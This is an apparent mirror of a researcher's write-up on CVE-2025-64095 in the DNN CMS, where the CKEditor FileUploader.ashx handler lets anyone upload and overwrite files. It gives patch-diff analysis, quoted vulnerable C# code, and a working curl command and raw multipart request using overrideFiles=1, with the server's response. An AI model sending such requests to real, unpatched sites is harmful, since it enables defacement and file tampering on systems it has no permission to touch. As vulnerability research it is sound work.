Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-64095 PoC — DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite

Source
Associated Vulnerability
Title: DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite (CVE-2025-64095)
Description:DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. Prior to 10.1.1, the default HTML editor provider allows unauthenticated file uploads and images can overwrite existing files. An unauthenticated user can upload and replace existing files allowing defacing a website and combined with other issue, injection XSS payloads. This vulnerability is fixed in 10.1.1.
Description
POC of DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
Readme
# CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload
POC of DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite

I'm a simple man, I see cvss:10/10 I go in xD

I saw this new CVE CVE-2025-64095 DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite

The default HTML editor provider allows unauthenticated file uploads and images can overwrite existing files.

>> Description
An unauthenticated user can upload and replace existing files allowing defacing a website and combined with other issue, injection XSS payloads.

https://nvd.nist.gov/vuln/detail/CVE-2025-64095

Base Score: 10.0 CRITICAL 🤷‍♂️

It turns out not that critical after all, since you can not upload a web shell like ASP, ASPX..etc **(in the default configuration at least )** you can upload images + SVG only . you can only upload/write existing files in the web server + in a specific path, you can not even upload a file in the root dir .


# Patch Diffing Analysis: DNN Platform 10.1.0  10.1.1

Since all versions before 10.1.1 are vulnerable, i took the DNN Platform 10.1.0 (the last vulnerable version )

## Introduction

The diff is a little bit big, I'm only interested in the code that is related to the file upload which is related to `Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx`. So I focused on comparing this specific file between versions to understand what (if anything) was fixed in 10.1.1.

Let me walk you through what I found and how I discovered the vulnerability.



## Initial Investigation

When I first started looking at the two versions, the overall diff showed 158 changed files between DNN Platform 10.1.0 and 10.1.1. Most were just  improvements  - file-scoped namespaces. But I needed to know if the file upload vulnerability was patched.

The vulnerable file is located at `Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs` - this is the CKEditor file upload handler. It's a common attack surface for file upload vulnerabilities.



## The Vulnerability in 10.1.0

Looking at the `ProcessRequest` method in 10.1.0:

```csharp
public void ProcessRequest(HttpContext context)
{
    context.Response.AddHeader("Pragma", "no-cache");
    context.Response.AddHeader("Cache-Control", "private, no-cache");

    this.HandleMethod(context);
}
```

That's it. There's literally **no authentication check**. Anyone can send a request to this endpoint and upload files, no session check, nothing.

The flow goes like this:
1.  sends a POST request to `FileUploader.ashx`
2. `ProcessRequest` gets called
3. It immediately calls `HandleMethod` which routes to `UploadFile`
4. `UploadFile` calls `UploadWholeFile`
5. `UploadWholeFile` processes the upload without checking if the user is logged in

The entire upload logic happens in `UploadWholeFile` starting around line 230. Let me show you the critical parts:

```csharp
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
    for (int i = 0; i < context.Request.Files.Count; i++)
    {
        var file = context.Request.Files[i];

        var fileName = Path.GetFileName(file.FileName);  // Line 236

        // Convert Unicode Chars
        fileName = Utility.ConvertUnicodeChars(fileName);

        // Replace dots in the name with underscores (only one dot can be there... security issue).
        fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);

        // Check for Illegal Chars
        if (Utility.ValidateFileName(fileName))
        {
            fileName = Utility.CleanFileName(fileName);
        }

        // ... more processing ...

        // Rename File if Exists
        if (!this.OverrideFiles)  // Line 268
        {
            var counter = 0;
            while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
            {
                counter++;
                fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
            }
        }

        var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
        var userId = UserController.Instance.GetCurrentUserInfo().UserID;  // Line 284 - gets userId but never checked!

        if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
        {
            FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
        }
        else
        {
            // Image resizing logic follows...
        }
    }
}
```

Notice that on line 284, they call `UserController.Instance.GetCurrentUserInfo()` to get the userId, but they never actually verify if the user is authenticated. If you're not logged in, this just returns a null or anonymous user, but the upload continues anyway.

Also notice the `OverrideFiles` property on line 268:

```csharp
private bool OverrideFiles =>
    HttpContext.Current.Request["overrideFiles"].Equals("1")
    || HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
```

This is a user-controlled parameter! Anyone can set `overrideFiles=1` in their upload request and overwrite existing files.



## Testing the Vulnerability

I tested this by crafting a simple curl command:

```bash
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "file=@poc.png" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
```

 raw POST request
 
```http
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive

--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png


--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"

1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"

0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"

1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"

Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--

```

####  response :


```http
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194

[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
```

<img width="1236" height="645" alt="image" src="https://github.com/user-attachments/assets/1c53d652-80e3-4772-a21c-e691c8b4adf6" />


The file was uploaded successfully. I verified it by checking `http://mysite.dnndev.me/Portals/_default/poc.png` and sure enough, there it was.



and the file is hosted  in the **\Portals\_default** dir :

```
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File


    Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/31/2025   4:16 PM              0 poc.png


PS C:\Users\pwn\Documents\site\web02>
```

<img width="745" height="507" alt="image" src="https://github.com/user-attachments/assets/85945f71-6d25-4f92-b8c9-ee60677c1c6d" />




## The Path Traversal Protection

I was looking for path traversal to rewrite the files in the root directory , but the  protection is actually pretty good. Looking 

```csharp
var fileName = Path.GetFileName(file.FileName);
```

 it works correctly. `Path.GetFileName()` automatically strips any directory traversal sequences. So if someone tries to upload a file named `../../../foo`, it becomes just `foo`.

The code also has additional protections in **"DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"**

```csharp
    private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
    {
        for (var i = 0; i < context.Request.Files.Count; i++)
        {
            var file = context.Request.Files[i];
            if (file is null)
            {
                continue;
            }

            var fileName = Path.GetFileName(file.FileName);

            if (!string.IsNullOrEmpty(fileName))
            {
                // Convert Unicode Chars
                fileName = Utility.ConvertUnicodeChars(fileName);

                // Replace dots in the name with underscores (only one dot can be there... security issue).
                fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);

                // Check for Illegal Chars
                if (Utility.ValidateFileName(fileName))
                {
                    fileName = Utility.CleanFileName(fileName);
                }
            }
            else
            {
                throw new HttpRequestValidationException("File does not have a name");
            }

            if (fileName.Length > 220)
            {
                fileName = fileName.Substring(fileName.Length - 220);
            }

            // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
            fileName = Regex.Replace(fileName, @"^\\+", string.Empty);

            var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);

            // Rename File if Exists
            if (!OverrideFiles)
            {
                var counter = 0;

                while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
                {
                    counter++;
                    fileName = string.Format(
                        "{0}_{1}{2}",
                        fileNameNoExtenstion,
                        counter,
                        Path.GetExtension(file.FileName));
                }
            }
```

as you can see in the code  `// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
            fileName = Regex.Replace(fileName, @"^\\+", string.Empty);`

As I said, I do not think this is a critical vulnerability  after all 


File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →